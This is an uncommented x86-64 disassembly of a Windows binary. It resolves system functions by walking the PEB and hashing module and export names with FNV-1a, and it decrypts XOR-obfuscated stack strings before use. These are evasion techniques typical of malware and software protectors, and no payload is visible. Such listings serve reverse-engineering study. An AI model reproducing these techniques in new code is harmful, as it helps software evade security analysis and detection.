call fcn.7ff70b5271d0
mov rbx, rax
lea r8, [rsp + 0x2a58]
lea rdx, [rsp + 0x2a10]
lea rcx, [rsp + 0x3180]
call fcn.7ff70b4d1eb0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x260], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x2280]
call fcn.7ff70b520010
nop
xor r15d, r15d
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], r15b
mov r9b, 0x20
lea r8d, [r15 - 1]
lea rdx, [rsp + 0x2f20]
mov rcx, rax
call fcn.7ff70b51fd80
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x2a80]
call fcn.7ff70b509440
nop
lea rcx, [rsp + 0x2280]
call fcn.7ff70b4fb180
nop
lea r9, [0x7ff70b51ec90]
lea edx, [r15 + 0x18]
lea r8d, [r15 + 3]
lea rcx, [rsp + 0x2a10]
call fcn.7ff70b54c0b0
nop
lea r9, [0x7ff70b51ec90]
mov ebx, 2
mov r8d, ebx
lea edx, [rbx + 0x16]
lea rcx, [rsp + 0x2910]
call fcn.7ff70b54c0b0
nop
lea r9, [0x7ff70b51ec90]
mov r8d, ebx
lea edx, [rbx + 0x16]
lea rcx, [rsp + 0x2940]
call fcn.7ff70b54c0b0
nop
lea r9, [0x7ff70b51ec90]
mov r8d, ebx
lea edx, [rbx + 0x16]
lea rcx, [rsp + 0x28b0]
call fcn.7ff70b54c0b0
lea rcx, [rsp + 0x2a80]
call fcn.7ff70b535db0
test al, al
jne 0x7ff70b51bc77
movabs rbx, 0x5da10a8233a1783e
mov qword [rsp + 0x1970], rbx
movabs rdi, 0x28f50a234a24987a
mov qword [rsp + 0x1978], rdi
movabs rsi, 0xda6e93e5813dbe69
mov qword [rsp + 0x1980], rsi
movabs r15, 0x9ceba6bfa5e9154c
mov qword [rsp + 0x1988], r15
movabs r12, 0x59f7d50d95c24d69
mov qword [rsp + 0x1990], r12
movabs rax, 0x3933e851ac858e1b
mov qword [rsp + 0x1998], rax
movabs rax, 0x29614861e4c31425
mov qword [rsp + 0x19a0], rax
movabs rax, 0x734046660965e58d
mov qword [rsp + 0x19a8], rax
lea r8, [rsp + 0x19b0]
lea rdx, [rsp + 0x1970]
lea rcx, [rsp + 0x3170]
call fcn.7ff70b4d1eb0
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x1930], rax
movabs rax, 0x4d822a44244df00e
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x1938], rax
mov qword [rsp + 0x140], r14
mov qword [rsp + 0x1940], r14
mov qword [rsp + 0x148], r13
mov qword [rsp + 0x1948], r13
movabs rax, 0x3890b42decb03949
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x1950], rax
movabs rax, 0x4b569c30c0a5e072
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x1958], rax
movabs rax, 0x10517853c7eb340b
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x1960], rax
movabs rax, 0x734046660965e5a4
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x1968], rax
lea r8, [rsp + 0x1970]
lea rdx, [rsp + 0x1930]
lea rcx, [rsp + 0x3160]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x880], rbx
mov qword [rsp + 0x18f0], rbx
mov qword [rsp + 0x888], rdi
mov qword [rsp + 0x18f8], rdi
mov qword [rsp + 0x890], rsi
mov qword [rsp + 0x1900], rsi
mov qword [rsp + 0x898], r15
mov qword [rsp + 0x1908], r15
mov qword [rsp + 0x8a0], r12
mov qword [rsp + 0x1910], r12
movabs rax, 0x3933e851ac858e1b
mov qword [rsp + 0x8a8], rax
mov qword [rsp + 0x1918], rax
movabs rax, 0x29614861e4c31425
mov qword [rsp + 0x8b0], rax
mov qword [rsp + 0x1920], rax
movabs rax, 0x734046660965e58d
mov qword [rsp + 0x8b8], rax
mov qword [rsp + 0x1928], rax
lea r8, [rsp + 0x1930]
lea rdx, [rsp + 0x18f0]
lea rcx, [rsp + 0x3150]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0x130]
pxor xmm0, xmmword [rsp + 0x880]
movdqa xmmword [rsp + 0x880], xmm0
movdqa xmm1, xmmword [rsp + 0x890]
pxor xmm1, xmmword [rsp + 0x140]
movdqa xmmword [rsp + 0x890], xmm1
movdqa xmm0, xmmword [rsp + 0x8a0]
pxor xmm0, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x8a0], xmm0
movdqa xmm1, xmmword [rsp + 0x8b0]
pxor xmm1, xmmword [rsp + 0x160]
movdqa xmmword [rsp + 0x8b0], xmm1
lea rdx, [rsp + 0x880]
lea rcx, [rsp + 0x2f40]
call fcn.7ff70b4fb220
mov rdx, rax
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b507060
mov edx, 0x2710
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b5071c0
nop
lea rcx, [rsp + 0x4a0]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0xe38]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0x2a80]
call fcn.7ff70b51ecb0
jmp 0x7ff70b51e022
movabs rbx, 0x38cc65d113fc5957
mov qword [rsp + 0xd98], rbx
mov qword [rsp + 0xda0], rsi
lea r8, [rsp + 0xda8]
lea rdx, [rsp + 0xd98]
lea rcx, [rsp + 0x3140]
call fcn.7ff70b4d1eb0
movabs r14, 0x38cc65d113fc5965
mov qword [rsp + 0xeb0], r14
mov qword [rsp + 0xda8], r14
mov qword [rsp + 0xeb8], rsi
mov qword [rsp + 0xdb0], rsi
lea r8, [rsp + 0xdb8]
lea rdx, [rsp + 0xda8]
lea rcx, [rsp + 0x3130]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x350], rbx
mov qword [rsp + 0xdf8], rbx
mov qword [rsp + 0x358], rsi
mov qword [rsp + 0xe00], rsi
lea r8, [rsp + 0xe08]
lea rdx, [rsp + 0xdf8]
lea rcx, [rsp + 0x3120]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0xeb0]
pxor xmm0, xmmword [rsp + 0x350]
movdqa xmmword [rsp + 0x350], xmm0
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0x2f60]
call fcn.7ff70b4fb220
mov r8, rax
lea rdx, [rsp + 0x2a80]
lea rcx, [rsp + 0x48]
call fcn.7ff70b51e2d0
test al, al
jne 0x7ff70b51bc49
lea rax, [rsp + 0x38d0]
mov qword [rsp + 0x4690], rax
xor edx, edx
lea rcx, [rsp + 0x38d0]
call fcn.7ff70b51fc50
mov rsi, rax
lea rcx, [rsp + 0xaf]
call fcn.7ff70b4d1ec0
mov rdi, rax
lea rcx, [rsp + 0x2b00]
call fcn.7ff70b5204f0
mov rbx, rax
lea rcx, [rsp + 0x2b00]
call fcn.7ff70b4ec710
add rbx, rax
lea rcx, [rsp + 0x2b00]
call fcn.7ff70b4ec710
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x2f80]
call fcn.7ff70b526e10
nop
mov byte [rsp + 0x20], 0
mov r9b, 1
mov r8, rsi
mov rdx, rax
lea rcx, [rsp + 0x10c0]
call fcn.7ff70b5268f0
nop
lea rcx, [rsp + 0x2f80]
call fcn.7ff70b4fb1c0
movabs rdi, 0x38cc11bd668f3c17
mov qword [rsp + 0xc50], rdi
movabs rbx, 0x4d822a44244df00e
mov qword [rsp + 0xc58], rbx
lea r8, [rsp + 0xc60]
lea rdx, [rsp + 0xc50]
lea rcx, [rsp + 0x3110]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x1f0], r14
mov qword [rsp + 0xc60], r14
mov qword [rsp + 0x1f8], rbx
mov qword [rsp + 0xc68], rbx
lea r8, [rsp + 0xc70]
lea rdx, [rsp + 0xc60]
lea rcx, [rsp + 0x3100]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x360], rdi
mov qword [rsp + 0xd30], rdi
mov qword [rsp + 0x368], rbx
mov qword [rsp + 0xd38], rbx
lea r8, [rsp + 0xd40]
lea rdx, [rsp + 0xd30]
lea rcx, [rsp + 0x3690]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0x1f0]
pxor xmm0, xmmword [rsp + 0x360]
movdqa xmmword [rsp + 0x360], xmm0
lea rdx, [rsp + 0x360]
lea rcx, [rsp + 0x10c0]
call fcn.7ff70b526ee0
lea rdx, [rsp + 0x2470]
mov rcx, rax
call fcn.7ff70b4fc390
nop
lea rcx, [rsp + 0x2470]
call fcn.7ff70b4fb1b0
mov rbx, rax
lea rcx, [rsp + 0x2470]
call fcn.7ff70b4dab30
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x2fa0]
call fcn.7ff70b547e30
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.7ff70b520dc0
lea rcx, [rsp + 0x2fa0]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0x2470]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0x10c0]
call fcn.7ff70b4fb180
nop
lea rcx, [rsp + 0x4a0]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0xe38]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0x2a80]
call fcn.7ff70b51ecb0
mov rcx, qword [0x7ff70b6921c8]
jmp 0x7ff70b51c2b2
mov esi, r15d
mov edi, 0x89eabb08
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x1f0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x7ff70b51c050
mov r8, qword [rsp + 0x1f8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x7ff70b51c047
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x7ff70b51c020
cmp r9d, esi
jne 0x7ff70b51c1a5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x7ff70b51c1b2
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov rcx, rdx
shr rcx, 0x20
mov qword [rsp + 0x4690], rcx
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x7ff70b51c1a5
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x7ff70b51c1a5
mov edx, dword [r15 + 0x20]
nop dword [rax + rax]
add r10d, r12d
lea rcx, [r11 + r10*4]
mov r8d, dword [rcx + rdx]
add r8, r11
mov r9d, 0x811c9dc5
movzx ebx, byte [r8]
inc r8
test bl, bl
je 0x7ff70b51c0eb
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x7ff70b51c0c0
mov edx, dword [r15 + 0x20]
cmp r9d, edi
je 0x7ff70b51c0fd
test r10d, r10d
jne 0x7ff70b51c0a0
mov rax, qword [rax]
jmp 0x7ff70b51bfe0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x7ff70b51c1ad
mov rax, qword [rsp + 0x4690]
add rax, r15
cmp rdx, rax
jae 0x7ff70b51c1ad
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x7ff70b51c164
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x7ff70b51c140
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x7ff70b51c194
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x7ff70b51c170
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x7ff70b51bfe0
xor r15d, r15d
jmp 0x7ff70b51c1b8
xor r15d, r15d
mov edx, r15d
mov ecx, 0x5dc
call rdx
lea rcx, [rsp + 0x1d0]
call fcn.7ff70b4fb1b0
mov rbx, rax
lea rcx, [rsp + 0x1d0]
call fcn.7ff70b4dab30
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x2fe0]
call fcn.7ff70b547e30
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.7ff70b520dc0
lea rcx, [rsp + 0x2fe0]
call fcn.7ff70b4fb1c0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x1f0], xmm0
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0x3650]
call fcn.7ff70b4fd090
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x1f0], xmm0
movss xmm7, dword [0x7ff70b595954]
mov rcx, qword [0x7ff70b6921c8]
comiss xmm7, dword [rcx + 0x2d8]
jbe 0x7ff70b51c2b2
movsd xmm6, qword [0x7ff70b595960]
movsd xmm8, qword [rsp + 0x1f8]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x1f0], xmm0
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0x3640]
call fcn.7ff70b4fd090
movsd xmm0, qword [rax + 8]
subsd xmm0, xmm8
ucomisd xmm0, xmm0
jp 0x7ff70b51c297
comisd xmm0, xmm6
jb 0x7ff70b51c29a
movaps xmm0, xmm6
cvtsd2ss xmm0, xmm0
mov rcx, qword [0x7ff70b6921c8]
movss dword [rcx + 0x2d8], xmm0
comiss xmm7, xmm0
ja 0x7ff70b51c261
call fcn.7ff70b506fb0
mov esi, r15d
mov edi, 0xabcbdc25
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x1f0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x7ff70b51c340
mov r8, qword [rsp + 0x1f8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x7ff70b51c337
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x7ff70b51c310
cmp r9d, esi
jne 0x7ff70b51c495
mov r11, qword [rax + 0x30]
test r11, r11
je 0x7ff70b51c4a2
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov rcx, rdx
shr rcx, 0x20
mov qword [rsp + 0x4690], rcx
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x7ff70b51c495
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x7ff70b51c495
mov edx, dword [r15 + 0x20]
nop dword [rax + rax]
add r10d, r12d
lea rcx, [r11 + r10*4]
mov r8d, dword [rcx + rdx]
add r8, r11
mov r9d, 0x811c9dc5
movzx ebx, byte [r8]
inc r8
test bl, bl
je 0x7ff70b51c3db
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x7ff70b51c3b0
mov edx, dword [r15 + 0x20]
cmp r9d, edi
je 0x7ff70b51c3ed
test r10d, r10d
jne 0x7ff70b51c390
mov rax, qword [rax]
jmp 0x7ff70b51c2d0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x7ff70b51c49d
mov rax, qword [rsp + 0x4690]
add rax, r15
cmp rdx, rax
jae 0x7ff70b51c49d
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x7ff70b51c456
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x7ff70b51c432
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x7ff70b51c484
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x7ff70b51c460
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x7ff70b51c2d0
xor r15d, r15d
jmp 0x7ff70b51c4a8
xor r15d, r15d
mov edx, r15d
call rdx
mov rdx, rax
lea rcx, [rsp + 0xce0]
call fcn.7ff70b542c00
nop
lea rcx, [rsp + 0x170]
call fcn.7ff70b4fb1a0
mov rdx, rax
lea rcx, [rsp + 0xce0]
call fcn.7ff70b544b40
mov rdx, rax
lea rcx, [rsp + 0x220]
call fcn.7ff70b542c00
nop
lea rcx, [rsp + 0x220]
call fcn.7ff70b542ec0
test al, al
jne 0x7ff70b51c801
movabs rbx, 0x5da10a8233a1783e
mov qword [rsp + 0x18b0], rbx
movabs rdi, 0x28f50a234a24987a
mov qword [rsp + 0x18b8], rdi
movabs rsi, 0xda6e93e5813dbe69
mov qword [rsp + 0x18c0], rsi
movabs r15, 0x9ceba6bfa5e9154c
mov qword [rsp + 0x18c8], r15
movabs r12, 0x59f7d50d95c24d69
mov qword [rsp + 0x18d0], r12
movabs r14, 0x3933e851ac858e1b
mov qword [rsp + 0x18d8], r14
movabs rax, 0x21604861e4c31425
mov qword [rsp + 0x18e0], rax
movabs rax, 0x734046660965e58d
mov qword [rsp + 0x18e8], rax
lea r8, [rsp + 0x18f0]
lea rdx, [rsp + 0x18b0]
lea rcx, [rsp + 0x3630]
call fcn.7ff70b4d1eb0
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x17b0], rax
movabs rax, 0x4d822a44244df00e
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x17b8], rax
movabs rax, 0xbd00fc97f61dca07
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x17c0], rax
mov qword [rsp + 0x148], r13
mov qword [rsp + 0x17c8], r13
movabs rax, 0x3890b42decb03949
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x17d0], rax
movabs rax, 0x4b569c30c0a5e072
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x17d8], rax
movabs rax, 0x10517853c7eb340b
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x17e0], rax
movabs rax, 0x734046660965e5a4
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x17e8], rax
lea r8, [rsp + 0x17f0]
lea rdx, [rsp + 0x17b0]
lea rcx, [rsp + 0x3620]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x700], rbx
mov qword [rsp + 0x1770], rbx
mov qword [rsp + 0x708], rdi
mov qword [rsp + 0x1778], rdi
mov qword [rsp + 0x710], rsi
mov qword [rsp + 0x1780], rsi
mov qword [rsp + 0x718], r15
mov qword [rsp + 0x1788], r15
mov qword [rsp + 0x720], r12
mov qword [rsp + 0x1790], r12
mov qword [rsp + 0x728], r14
mov qword [rsp + 0x1798], r14
movabs rax, 0x21604861e4c31425
mov qword [rsp + 0x730], rax
mov qword [rsp + 0x17a0], rax
movabs rax, 0x734046660965e58d
mov qword [rsp + 0x738], rax
mov qword [rsp + 0x17a8], rax
lea r8, [rsp + 0x17b0]
lea rdx, [rsp + 0x1770]
lea rcx, [rsp + 0x3610]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0x130]
pxor xmm0, xmmword [rsp + 0x700]
movdqa xmmword [rsp + 0x700], xmm0
movdqa xmm1, xmmword [rsp + 0x710]
pxor xmm1, xmmword [rsp + 0x140]
movdqa xmmword [rsp + 0x710], xmm1
movdqa xmm0, xmmword [rsp + 0x720]
pxor xmm0, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x720], xmm0
movdqa xmm1, xmmword [rsp + 0x730]
pxor xmm1, xmmword [rsp + 0x160]
movdqa xmmword [rsp + 0x730], xmm1
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x3000]
call fcn.7ff70b4fb220
mov rdx, rax
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b507060
mov edx, 0x2710
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b5071c0
nop
lea rcx, [rsp + 0x220]
call fcn.7ff70b542c20
nop
lea rcx, [rsp + 0xce0]
call fcn.7ff70b542c20
jmp 0x7ff70b51e022
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b506fb0
lea rcx, [rsp + 0x1b0]
call fcn.7ff70b520db0
test al, al
je 0x7ff70b51cb32
lea rcx, [rsp + 0x220]
call fcn.7ff70b543630
movabs rbx, 0x5da10a8233a1783e
mov qword [rsp + 0x1830], rbx
movabs rdi, 0x28f50a234a24987a
mov qword [rsp + 0x1838], rdi
movabs rsi, 0xda6e93e5813dbe69
mov qword [rsp + 0x1840], rsi
movabs r15, 0x9ceba6bfa5e9154c
mov qword [rsp + 0x1848], r15
movabs r12, 0x59f7d50d95c24d69
mov qword [rsp + 0x1850], r12
movabs r14, 0x3933e851ac858e1b
mov qword [rsp + 0x1858], r14
movabs rax, 0x22604861e4c31425
mov qword [rsp + 0x1860], rax
movabs rax, 0x734046660965e58d
mov qword [rsp + 0x1868], rax
lea r8, [rsp + 0x1870]
lea rdx, [rsp + 0x1830]
lea rcx, [rsp + 0x3600]
call fcn.7ff70b4d1eb0
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x1730], rax
movabs rax, 0x4d822a44244df00e
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x1738], rax
movabs rax, 0xbd00fc97f61dca07
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x1740], rax
mov qword [rsp + 0x148], r13
mov qword [rsp + 0x1748], r13
movabs rax, 0x3890b42decb03949
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x1750], rax
movabs rax, 0x4b569c30c0a5e072
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x1758], rax
movabs rax, 0x10517853c7eb340b
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x1760], rax
movabs rax, 0x734046660965e5a4
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x1768], rax
lea r8, [rsp + 0x1770]
lea rdx, [rsp + 0x1730]
lea rcx, [rsp + 0x35f0]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x740], rbx
mov qword [rsp + 0x17f0], rbx
mov qword [rsp + 0x748], rdi
mov qword [rsp + 0x17f8], rdi
mov qword [rsp + 0x750], rsi
mov qword [rsp + 0x1800], rsi
mov qword [rsp + 0x758], r15
mov qword [rsp + 0x1808], r15
mov qword [rsp + 0x760], r12
mov qword [rsp + 0x1810], r12
mov qword [rsp + 0x768], r14
mov qword [rsp + 0x1818], r14
movabs rax, 0x22604861e4c31425
mov qword [rsp + 0x770], rax
mov qword [rsp + 0x1820], rax
movabs rax, 0x734046660965e58d
mov qword [rsp + 0x778], rax
mov qword [rsp + 0x1828], rax
lea r8, [rsp + 0x1830]
lea rdx, [rsp + 0x17f0]
lea rcx, [rsp + 0x35e0]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0x130]
pxor xmm0, xmmword [rsp + 0x740]
movdqa xmmword [rsp + 0x740], xmm0
movdqa xmm1, xmmword [rsp + 0x750]
pxor xmm1, xmmword [rsp + 0x140]
movdqa xmmword [rsp + 0x750], xmm1
movdqa xmm0, xmmword [rsp + 0x760]
pxor xmm0, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x760], xmm0
movdqa xmm1, xmmword [rsp + 0x770]
pxor xmm1, xmmword [rsp + 0x160]
movdqa xmmword [rsp + 0x770], xmm1
lea rdx, [rsp + 0x740]
lea rcx, [rsp + 0x3020]
call fcn.7ff70b4fb220
mov rdx, rax
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b507060
mov edx, 0x2710
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b5071c0
nop
lea rcx, [rsp + 0x220]
call fcn.7ff70b542c20
nop
lea rcx, [rsp + 0xce0]
call fcn.7ff70b542c20
jmp 0x7ff70b51e022
lea rcx, [rsp + 0x1b0]
call fcn.7ff70b4fb1b0
mov rdi, rax
lea rcx, [rsp + 0x1b0]
call fcn.7ff70b4dab30
mov rbx, rax
lea rcx, [rsp + 0x200]
call fcn.7ff70b4fb1a0
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.7ff70b50c5b0
mov ebx, eax
cmp eax, 0xc0000043
jne 0x7ff70b51cf27
lea rcx, [rsp + 0x220]
call fcn.7ff70b543630
movabs rdi, 0x59ec0b9033a1783e
mov qword [rsp + 0x1a50], rdi
movabs rsi, 0x3fe70a375728936d
mov qword [rsp + 0x1a58], rsi
movabs r14, 0xc8639ff8d66fa575
mov qword [rsp + 0x1a60], r14
movabs r15, 0x80ea93fae7fd5012
mov qword [rsp + 0x1a68], r15
movabs r12, 0x18f7da449adf5469
mov qword [rsp + 0x1a70], r12
movabs rax, 0x3933f453aed0811e
mov qword [rsp + 0x1a78], rax
movabs rax, 0x75390f36b487512b
mov qword [rsp + 0x1a80], rax
movabs rax, 0x4372654e294b80d6
mov qword [rsp + 0x1a88], rax
movabs rax, 0x60e6b729e88648fc
mov qword [rsp + 0x1a90], rax
movabs rbx, 0xb5b3b5fc66a44df6
mov qword [rsp + 0x1a98], rbx
lea r8, [rsp + 0x1aa0]
lea rdx, [rsp + 0x1a50]
lea rcx, [rsp + 0x35d0]
call fcn.7ff70b4d1eb0
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x1aa0], rax
movabs rax, 0x4d822a44244df00e
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0x1aa8], rax
movabs rax, 0xbd00fc97f61dca07
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x1ab0], rax
mov qword [rsp + 0xc8], r13
mov qword [rsp + 0x1ab8], r13
movabs rax, 0x3890b42decb03949
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x1ac0], rax
movabs rax, 0x4b569c30c0a5e072
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x1ac8], rax
movabs rax, 0x10517853c7eb340b
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0x1ad0], rax
movabs rax, 0x734046660965e5a4
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x1ad8], rax
movabs rax, 0x60e6b729e8af7bcd
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0x1ae0], rax
mov qword [rsp + 0xf8], rbx
mov qword [rsp + 0x1ae8], rbx
lea r8, [rsp + 0x1af0]
lea rdx, [rsp + 0x1aa0]
lea rcx, [rsp + 0x3460]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x910], rdi
mov qword [rsp + 0x1af0], rdi
mov qword [rsp + 0x918], rsi
mov qword [rsp + 0x1af8], rsi
mov qword [rsp + 0x920], r14
mov qword [rsp + 0x1b00], r14
mov qword [rsp + 0x928], r15
mov qword [rsp + 0x1b08], r15
mov qword [rsp + 0x930], r12
mov qword [rsp + 0x1b10], r12
movabs rax, 0x3933f453aed0811e
mov qword [rsp + 0x938], rax
mov qword [rsp + 0x1b18], rax
movabs rax, 0x75390f36b487512b
mov qword [rsp + 0x940], rax
mov qword [rsp + 0x1b20], rax
movabs rax, 0x4372654e294b80d6
mov qword [rsp + 0x948], rax
mov qword [rsp + 0x1b28], rax
movabs rax, 0x60e6b729e88648fc
mov qword [rsp + 0x950], rax
mov qword [rsp + 0x1b30], rax
mov qword [rsp + 0x958], rbx
mov qword [rsp + 0x1b38], rbx
lea r8, [rsp + 0x1b40]
lea rdx, [rsp + 0x1af0]
lea rcx, [rsp + 0x35c0]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0xb0]
pxor xmm0, xmmword [rsp + 0x910]
movdqa xmmword [rsp + 0x910], xmm0
movdqa xmm1, xmmword [rsp + 0x920]
pxor xmm1, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0x920], xmm1
movdqa xmm0, xmmword [rsp + 0x930]
pxor xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0x930], xmm0
movdqa xmm1, xmmword [rsp + 0x940]
pxor xmm1, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x940], xmm1
movdqa xmm0, xmmword [rsp + 0x950]
pxor xmm0, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x950], xmm0
lea rdx, [rsp + 0x910]
lea rcx, [rsp + 0x3040]
